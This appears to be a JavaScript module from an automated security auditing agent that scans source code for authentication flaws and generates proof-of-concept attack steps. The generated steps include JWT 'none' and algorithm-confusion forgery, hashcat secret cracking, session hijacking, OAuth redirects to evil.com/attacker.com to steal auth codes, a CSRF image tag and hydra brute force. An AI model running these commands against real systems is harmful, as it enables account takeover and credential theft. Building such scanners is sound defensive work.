/**
 * Authentication Tactics Module
 *
 * Detects authentication and session management vulnerabilities including
 * JWT weaknesses, session fixation, OAuth bypass, and hardcoded credentials.
 * Priority 2 - core security control.
 *
 * @module agents/adversary/tactics/auth
 */
import { registerTactic, generateFindingId, } from "./index.js";
// ============================================================================
// Patterns
// ============================================================================
const JWT_PATTERNS = [
    {
        id: "jwt-none-algorithm",
        name: "JWT None Algorithm Accepted",
        description: "JWT verification may accept 'none' algorithm",
        cwe: "CWE-327",
        severity: "critical",
        regex: /jwt\.verify\s*\([^)]*,\s*(?:null|undefined|['"][\s]*['"])\s*\)|algorithms\s*:\s*\[[^\]]*['"]none['"]/gi,
    },
    {
        id: "jwt-weak-secret",
        name: "JWT Weak or Hardcoded Secret",
        description: "JWT signed with weak or hardcoded secret",
        cwe: "CWE-798",
        severity: "high",
        regex: /jwt\.sign\s*\([^)]*,\s*['"](secret|password|key|123|test|dev)['"]/gi,
    },
    {
        id: "jwt-hs256-public-key",
        name: "JWT Algorithm Confusion",
        description: "JWT may be vulnerable to RS256 to HS256 algorithm confusion",
        cwe: "CWE-327",
        severity: "high",
        regex: /algorithms\s*:\s*\[\s*['"](?:RS|HS)256['"]\s*\]|algorithm\s*:\s*['"](?:RS|HS)256['"]/gi,
    },
    {
        id: "jwt-no-expiry",
        name: "JWT Without Expiration",
        description: "JWT created without expiration claim",
        cwe: "CWE-613",
        severity: "medium",
        regex: /jwt\.sign\s*\([^)]*\)(?![^;]*expiresIn)/gi,
    },
    {
        id: "jwt-decode-no-verify",
        name: "JWT Decoded Without Verification",
        description: "JWT decoded without signature verification",
        cwe: "CWE-345",
        severity: "high",
        regex: /jwt\.decode\s*\([^)]*\)(?![^;]*verify)/gi,
    },
];
const SESSION_PATTERNS = [
    {
        id: "session-no-regenerate",
        name: "Session Not Regenerated on Login",
        description: "Session ID not regenerated after authentication",
        cwe: "CWE-384",
        severity: "high",
        regex: /(?:login|authenticate|signIn)\s*(?:=|:)\s*async[^{]*\{(?![^}]*regenerate|[^}]*destroy)/gis,
    },
    {
        id: "session-insecure-cookie",
        name: "Insecure Session Cookie",
        description: "Session cookie missing secure attributes",
        cwe: "CWE-614",
        severity: "medium",
        regex: /cookie\s*:\s*\{[^}]*(?!secure\s*:\s*true)[^}]*\}|httpOnly\s*:\s*false/gi,
    },
    {
        id: "session-predictable",
        name: "Predictable Session ID",
        description: "Session ID generated with weak randomness",
        cwe: "CWE-330",
        severity: "high",
        regex: /session(?:Id|Token)\s*=\s*(?:Date\.now\(\)|Math\.random\(\)|uuid\.v1\(\))/gi,
    },
    {
        id: "session-in-url",
        name: "Session Token in URL",
        description: "Session token passed in URL parameters",
        cwe: "CWE-598",
        severity: "medium",
        regex: /\?.*(?:session|token|sid)=|redirect\s*\([^)]*(?:session|token)/gi,
    },
];
const OAUTH_PATTERNS = [
    {
        id: "oauth-open-redirect",
        name: "OAuth Open Redirect",
        description: "OAuth redirect URI not properly validated",
        cwe: "CWE-601",
        severity: "high",
        regex: /redirect_uri\s*[:=]\s*(?:req\.|params\.|query\.)|redirect_uri.*(?:!==|!=)\s*(?:undefined|null)/gi,
    },
    {
        id: "oauth-no-state",
        name: "OAuth Missing State Parameter",
        description: "OAuth flow missing CSRF protection via state parameter",
        cwe: "CWE-352",
        severity: "high",
        regex: /(?:authorize|oauth)\s*\([^)]*\)(?![^;]*state)|state\s*:\s*(?:null|undefined|['"][\s]*['"])/gi,
    },
    {
        id: "oauth-token-leak",
        name: "OAuth Token Leakage",
        description: "OAuth tokens logged or exposed in error messages",
        cwe: "CWE-532",
        severity: "high",
        regex: /console\.(?:log|error|warn)\s*\([^)]*(?:access_token|refresh_token|id_token)/gi,
    },
    {
        id: "oauth-implicit-flow",
        name: "OAuth Implicit Flow",
        description: "Using deprecated OAuth implicit flow",
        cwe: "CWE-319",
        severity: "medium",
        regex: /response_type\s*[:=]\s*['"]token['"]/gi,
    },
];
const CREDENTIAL_PATTERNS = [
    {
        id: "hardcoded-password",
        name: "Hardcoded Password",
        description: "Password hardcoded in source code",
        cwe: "CWE-798",
        severity: "critical",
        regex: /(?:password|passwd|pwd)\s*[:=]\s*['"][^'"]{4,}['"]/gi,
    },
    {
        id: "hardcoded-api-key",
        name: "Hardcoded API Key",
        description: "API key hardcoded in source code",
        cwe: "CWE-798",
        severity: "critical",
        regex: /(?:api[_-]?key|apikey|api[_-]?secret)\s*[:=]\s*['"][a-zA-Z0-9_\-]{16,}['"]/gi,
    },
    {
        id: "hardcoded-db-creds",
        name: "Hardcoded Database Credentials",
        description: "Database credentials hardcoded in source code",
        cwe: "CWE-798",
        severity: "critical",
        regex: /(?:mysql|postgres|mongodb|redis):\/\/[^:]+:[^@]+@/gi,
    },
    {
        id: "default-credentials",
        name: "Default Credentials",
        description: "Default username/password combination",
        cwe: "CWE-1392",
        severity: "high",
        regex: /(?:admin|root|test|demo)['"]?\s*[:=]\s*['"](?:admin|root|password|123456|test)['"]/gi,
    },
];
const RATE_LIMITING_PATTERNS = [
    {
        id: "login-no-rate-limit",
        name: "Login Without Rate Limiting",
        description: "Authentication endpoint without rate limiting",
        cwe: "CWE-307",
        severity: "medium",
        regex: /(?:login|signin|authenticate)\s*[:=]\s*(?:async\s*)?\([^)]*\)\s*(?:=>|{)(?![^}]*(?:rateLimit|throttle|limiter))/gis,
    },
    {
        id: "password-reset-no-limit",
        name: "Password Reset Without Rate Limiting",
        description: "Password reset endpoint vulnerable to enumeration",
        cwe: "CWE-640",
        severity: "medium",
        regex: /(?:forgot|reset|recover)(?:Password|Pass)\s*[:=](?![^}]*(?:rateLimit|throttle))/gi,
    },
];
const MFA_PATTERNS = [
    {
        id: "mfa-bypass",
        name: "MFA Bypass Possibility",
        description: "MFA check may be bypassed through alternative flow",
        cwe: "CWE-287",
        severity: "high",
        regex: /(?:skip|bypass|disable)(?:Mfa|2fa|TwoFactor)|mfa(?:Required|Enabled)\s*[:=]\s*false/gi,
    },
    {
        id: "mfa-backup-enumerable",
        name: "MFA Backup Codes Enumerable",
        description: "MFA backup codes may be enumerable or predictable",
        cwe: "CWE-330",
        severity: "medium",
        regex: /backupCode\s*=\s*(?:Math\.random|Date\.now|uuid\.v1)/gi,
    },
];
// ============================================================================
// Tactic Implementation
// ============================================================================
const authTactic = {
    focusArea: "auth",
    name: "Authentication",
    description: "Detects authentication, session, and credential vulnerabilities",
    patterns: [
        ...JWT_PATTERNS,
        ...SESSION_PATTERNS,
        ...OAUTH_PATTERNS,
        ...CREDENTIAL_PATTERNS,
        ...RATE_LIMITING_PATTERNS,
        ...MFA_PATTERNS,
    ],
    async analyzeFile(file, config) {
        const findings = [];
        for (const pattern of this.patterns) {
            if (!pattern.regex)
                continue;
            // Reset regex state
            pattern.regex.lastIndex = 0;
            let match;
            while ((match = pattern.regex.exec(file.content)) !== null) {
                // Calculate line number
                const beforeMatch = file.content.substring(0, match.index);
                const lineNum = (beforeMatch.match(/\n/g) || []).length + 1;
                // Skip if in comment
                const line = file.lines[lineNum - 1] || "";
                if (isInComment(line)) {
                    continue;
                }
                // Skip known false positives
                if (isFalsePositive(match[0], pattern.id, file)) {
                    continue;
                }
                const finding = {
                    id: generateFindingId("auth", file.relativePath, lineNum, pattern.id),
                    tacticName: "auth",
                    focusArea: "auth",
                    patternId: pattern.id,
                    file: file.relativePath,
                    line: lineNum,
                    message: `${pattern.name}: ${pattern.description}`,
                    severity: pattern.severity,
                    confidence: calculateConfidence(match[0], pattern, file),
                    evidence: redactSensitive(match[0].substring(0, 200)),
                    cweIds: [pattern.cwe],
                    mitreIds: getMitreIds(pattern.id),
                    suggestedFix: getSuggestedFix(pattern.id),
                };
                findings.push(finding);
            }
        }
        return findings;
    },
    async generatePoC(finding) {
        const pocMap = {
            "jwt-none-algorithm": () => jwtNoneAlgorithmPoC(finding),
            "jwt-weak-secret": () => jwtWeakSecretPoC(finding),
            "jwt-hs256-public-key": () => jwtAlgorithmConfusionPoC(finding),
            "session-no-regenerate": () => sessionFixationPoC(finding),
            "oauth-open-redirect": () => oauthRedirectPoC(finding),
            "oauth-no-state": () => oauthCsrfPoC(finding),
            "hardcoded-password": () => hardcodedCredsPoC(finding),
            "login-no-rate-limit": () => bruteForcePoC(finding),
        };
        const generator = pocMap[finding.patternId];
        return generator ? generator() : null;
    },
    getPromptEnhancement() {
        return `When analyzing for authentication vulnerabilities, focus on:

1. **JWT Security**:
   - Verify algorithm is explicitly specified and not 'none'
   - Check if secret is hardcoded or weak
   - Look for algorithm confusion (RS256 → HS256 attacks)
   - Verify expiration is set and validated

2. **Session Management**:
   - Session ID regeneration after authentication
   - Secure cookie attributes (HttpOnly, Secure, SameSite)
   - Session timeout and invalidation
   - Protection against session fixation

3. **OAuth/OIDC Flows**:
   - State parameter for CSRF protection
   - Redirect URI validation (strict matching, no open redirects)
   - Token storage and handling
   - Avoiding implicit flow

4. **Credential Handling**:
   - No hardcoded credentials in source
   - Secure password storage (bcrypt, argon2)
   - Rate limiting on authentication endpoints
   - Account lockout mechanisms

5. **MFA Implementation**:
   - MFA cannot be bypassed through alternative flows
   - Backup codes are cryptographically random
   - Rate limiting on MFA attempts

For each finding, determine:
- Can an attacker bypass authentication entirely?
- Can session hijacking be achieved?
- Are there credential exposure risks?`;
    },
    getRelevantFilePatterns() {
        return [
            "**/auth/**",
            "**/authentication/**",
            "**/login/**",
            "**/session/**",
            "**/jwt/**",
            "**/oauth/**",
            "**/middleware/**",
            "**/config/**",
            "**/*auth*",
            "**/*session*",
            "**/*jwt*",
        ];
    },
};
// ============================================================================
// Helper Functions
// ============================================================================
function isInComment(line) {
    const trimmed = line.trim();
    return trimmed.startsWith("//") || trimmed.startsWith("*") || trimmed.startsWith("#");
}
function isFalsePositive(match, patternId, file) {
    // Skip test files for credential patterns
    if (patternId.startsWith("hardcoded-") || patternId === "default-credentials") {
        if (file.relativePath.includes("test") ||
            file.relativePath.includes("spec") ||
            file.relativePath.includes("mock") ||
            file.relativePath.includes("fixture")) {
            return true;
        }
    }
    // Skip example/placeholder values
    const lowerMatch = match.toLowerCase();
    if (lowerMatch.includes("example") ||
        lowerMatch.includes("placeholder") ||
        lowerMatch.includes("your-") ||
        lowerMatch.includes("xxx")) {
        return true;
    }
    // Skip environment variable references
    if (match.includes("process.env") || match.includes("${")) {
        return true;
    }
    return false;
}
function calculateConfidence(match, pattern, file) {
    let confidence = 70;
    // Higher confidence for production-looking code
    if (!file.relativePath.includes("test") && !file.relativePath.includes("example")) {
        confidence += 10;
    }
    // Higher confidence for critical patterns
    if (pattern.severity === "critical") {
        confidence += 10;
    }
    // Lower confidence for config files (might be overridden)
    if (file.relativePath.includes("config") || file.relativePath.includes(".env")) {
        confidence -= 10;
    }
    return Math.min(95, Math.max(50, confidence));
}
function redactSensitive(text) {
    // Redact potential secrets while keeping context
    return text
        .replace(/(['"])[a-zA-Z0-9_\-/+=]{20,}(['"])/g, "$1[REDACTED]$2")
        .replace(/:\/\/[^:]+:[^@]+@/g, "://[USER]:[PASS]@");
}
function getMitreIds(patternId) {
    const mapping = {
        "jwt-none-algorithm": ["T1078", "T1556"],
        "jwt-weak-secret": ["T1552", "T1078"],
        "session-no-regenerate": ["T1539", "T1550"],
        "oauth-open-redirect": ["T1078", "T1566"],
        "hardcoded-password": ["T1552", "T1078"],
        "login-no-rate-limit": ["T1110"],
    };
    return mapping[patternId] || ["T1078"];
}
function getSuggestedFix(patternId) {
    const fixes = {
        "jwt-none-algorithm": "Explicitly specify allowed algorithms in verification options: algorithms: ['RS256']",
        "jwt-weak-secret": "Use a cryptographically strong secret (256+ bits) stored in environment variables",
        "jwt-hs256-public-key": "Use asymmetric algorithms (RS256) and validate algorithm in verification",
        "jwt-no-expiry": "Always set token expiration: jwt.sign(payload, secret, { expiresIn: '1h' })",
        "session-no-regenerate": "Regenerate session ID after authentication: req.session.regenerate()",
        "session-insecure-cookie": "Set secure cookie options: { httpOnly: true, secure: true, sameSite: 'strict' }",
        "oauth-open-redirect": "Whitelist allowed redirect URIs and validate against exact match",
        "oauth-no-state": "Generate cryptographically random state parameter and validate on callback",
        "hardcoded-password": "Move credentials to environment variables or secrets manager",
        "login-no-rate-limit": "Implement rate limiting: express-rate-limit or similar middleware",
        "mfa-bypass": "Ensure MFA check cannot be skipped through any code path",
    };
    return fixes[patternId] || "Review authentication implementation for security best practices";
}
// ============================================================================
// PoC Generators
// ============================================================================
function jwtNoneAlgorithmPoC(finding) {
    const steps = [
        {
            order: 1,
            action: "capture-token",
            description: "Capture a valid JWT from the application",
            command: "Authenticate and capture the JWT from response/cookies",
            expectedResult: "Valid JWT token captured",
        },
        {
            order: 2,
            action: "decode-token",
            description: "Decode the JWT to examine its structure",
            command: "echo '<token>' | cut -d'.' -f1,2 | base64 -d",
            expectedResult: "JWT header and payload visible",
        },
        {
            order: 3,
            action: "modify-header",
            description: "Change algorithm to 'none' and modify claims",
            command: "Modify header to {\"alg\":\"none\",\"typ\":\"JWT\"}, change user to admin",
            expectedResult: "Modified JWT ready",
        },
        {
            order: 4,
            action: "use-token",
            description: "Use the modified token without signature",
            command: "curl -H 'Authorization: Bearer <modified_token>.' https://target/api/admin",
            expectedResult: "Access granted with modified claims",
        },
    ];
    return {
        id: `poc-${finding.id}`,
        findingId: finding.id,
        prerequisites: ["Valid user account", "Ability to capture JWT"],
        steps,
        payload: '{"alg":"none","typ":"JWT"}',
        expectedResult: "Authentication bypass via algorithm manipulation",
        safeTestInstructions: "Test on development environment. Verify the application properly rejects 'none' algorithm after fix.",
    };
}
function jwtWeakSecretPoC(finding) {
    const steps = [
        {
            order: 1,
            action: "capture-token",
            description: "Capture a valid JWT",
            command: "Authenticate and capture JWT",
            expectedResult: "Valid JWT captured",
        },
        {
            order: 2,
            action: "crack-secret",
            description: "Attempt to crack the JWT secret",
            command: "hashcat -a 0 -m 16500 jwt.txt wordlist.txt",
            expectedResult: "Secret key revealed if weak",
        },
        {
            order: 3,
            action: "forge-token",
            description: "Forge a new token with cracked secret",
            command: "jwt.sign({ sub: 'admin', role: 'admin' }, 'cracked_secret')",
            expectedResult: "Forged admin token",
        },
    ];
    return {
        id: `poc-${finding.id}`,
        findingId: finding.id,
        prerequisites: ["Valid JWT to crack", "Hashcat or similar tool"],
        steps,
        payload: "jwt.sign(adminPayload, crackedSecret)",
        expectedResult: "Privilege escalation via forged token",
        safeTestInstructions: "Use offline cracking only. Test forged tokens on isolated environment.",
    };
}
function jwtAlgorithmConfusionPoC(finding) {
    const steps = [
        {
            order: 1,
            action: "obtain-public-key",
            description: "Obtain the server's public key",
            command: "curl https://target/.well-known/jwks.json",
            expectedResult: "Public key obtained",
        },
        {
            order: 2,
            action: "forge-token",
            description: "Sign token with public key using HS256",
            command: "jwt.sign(payload, publicKey, { algorithm: 'HS256' })",
            expectedResult: "Token signed with public key as HMAC secret",
        },
        {
            order: 3,
            action: "use-token",
            description: "Use forged token",
            command: "curl -H 'Authorization: Bearer <forged>' https://target/api",
            expectedResult: "Server validates with public key as HMAC secret",
        },
    ];
    return {
        id: `poc-${finding.id}`,
        findingId: finding.id,
        prerequisites: ["Access to public key", "Knowledge of expected claims"],
        steps,
        payload: "jwt.sign(claims, publicKey, { algorithm: 'HS256' })",
        expectedResult: "Authentication bypass via algorithm confusion",
        safeTestInstructions: "Test on isolated environment. Verify fix explicitly validates algorithm.",
    };
}
function sessionFixationPoC(finding) {
    const steps = [
        {
            order: 1,
            action: "obtain-session",
            description: "Obtain a session ID from the application",
            command: "curl -c cookies.txt https://target/",
            expectedResult: "Session ID captured",
        },
        {
            order: 2,
            action: "set-victim-session",
            description: "Set victim's session to attacker's session ID",
            command: "Send victim link with session parameter or set cookie via XSS",
            expectedResult: "Victim uses attacker's session",
        },
        {
            order: 3,
            action: "wait-for-auth",
            description: "Wait for victim to authenticate",
            expectedResult: "Victim logs in with attacker's session ID",
        },
        {
            order: 4,
            action: "hijack-session",
            description: "Use the now-authenticated session",
            command: "curl -b 'sessionId=<attacker_session>' https://target/dashboard",
            expectedResult: "Access victim's authenticated session",
        },
    ];
    return {
        id: `poc-${finding.id}`,
        findingId: finding.id,
        prerequisites: ["Ability to set victim's session cookie", "Victim interaction"],
        steps,
        payload: "sessionId=attacker_controlled_session",
        expectedResult: "Session hijacking after victim authentication",
        safeTestInstructions: "Test with two test accounts. Never involve real user sessions.",
    };
}
function oauthRedirectPoC(finding) {
    const steps = [
        {
            order: 1,
            action: "identify-redirect",
            description: "Identify the redirect URI parameter",
            command: "Examine OAuth authorization URL",
            expectedResult: "redirect_uri parameter identified",
        },
        {
            order: 2,
            action: "craft-redirect",
            description: "Craft malicious redirect URI",
            command: "Modify redirect_uri to attacker-controlled domain",
            expectedResult: "Malicious authorization URL ready",
        },
        {
            order: 3,
            action: "phish-victim",
            description: "Send malicious link to victim",
            command: "https://target/oauth/authorize?redirect_uri=https://evil.com/callback",
            expectedResult: "Victim redirected to attacker site with auth code",
        },
    ];
    return {
        id: `poc-${finding.id}`,
        findingId: finding.id,
        prerequisites: ["Understanding of OAuth flow", "Attacker-controlled domain"],
        steps,
        payload: "redirect_uri=https://attacker.com/steal",
        expectedResult: "OAuth token/code stolen via redirect",
        safeTestInstructions: "Use controlled test accounts. Never redirect real user tokens.",
    };
}
function oauthCsrfPoC(finding) {
    const steps = [
        {
            order: 1,
            action: "verify-missing-state",
            description: "Verify state parameter is not validated",
            command: "Complete OAuth flow without state parameter",
            expectedResult: "OAuth succeeds without state validation",
        },
        {
            order: 2,
            action: "link-attacker-account",
            description: "Force victim to link attacker's OAuth account",
            command: "<img src='https://target/oauth/callback?code=attacker_code'>",
            expectedResult: "Victim's account linked to attacker's OAuth",
        },
    ];
    return {
        id: `poc-${finding.id}`,
        findingId: finding.id,
        prerequisites: ["OAuth integration", "Ability to serve content to victim"],
        steps,
        payload: "<img src='https://target/oauth/callback?code=ATTACKER_CODE'>",
        expectedResult: "Account hijacking via OAuth CSRF",
        safeTestInstructions: "Test with controlled accounts only.",
    };
}
function hardcodedCredsPoC(finding) {
    const steps = [
        {
            order: 1,
            action: "extract-creds",
            description: "Extract credentials from source code",
            command: `grep -n "password" ${finding.file}`,
            expectedResult: "Credentials visible in source",
        },
        {
            order: 2,
            action: "use-creds",
            description: "Attempt to authenticate with extracted credentials",
            command: "Use credentials at application login or service endpoint",
            expectedResult: "Authentication successful",
        },
    ];
    return {
        id: `poc-${finding.id}`,
        findingId: finding.id,
        prerequisites: ["Access to source code"],
        steps,
        payload: "[EXTRACTED_CREDENTIALS]",
        expectedResult: "Unauthorized access using hardcoded credentials",
        safeTestInstructions: "Report finding immediately. Do not use credentials on production systems.",
    };
}
function bruteForcePoC(finding) {
    const steps = [
        {
            order: 1,
            action: "identify-endpoint",
            description: "Identify the authentication endpoint",
            command: "Examine login form or API endpoint",
            expectedResult: "Endpoint identified",
        },
        {
            order: 2,
            action: "test-rate-limit",
            description: "Test for rate limiting",
            command: "for i in {1..100}; do curl -X POST https://target/login -d 'user=test&pass=wrong$i'; done",
            expectedResult: "Requests not blocked after multiple failures",
        },
        {
            order: 3,
            action: "brute-force",
            description: "Perform credential stuffing or brute force",
            command: "hydra -l admin -P wordlist.txt https://target/login",
            expectedResult: "Valid credentials discovered",
        },
    ];
    return {
        id: `poc-${finding.id}`,
        findingId: finding.id,
        prerequisites: ["Username enumeration or known usernames", "Password wordlist"],
        steps,
        payload: "hydra -l admin -P passwords.txt target http-post-form",
        expectedResult: "Credentials compromised via brute force",
        safeTestInstructions: "Test on isolated environment with test accounts. Never brute force production systems.",
    };
}
// ============================================================================
// Register Tactic
// ============================================================================
registerTactic(authTactic);
export { authTactic };
//# sourceMappingURL=auth.js.map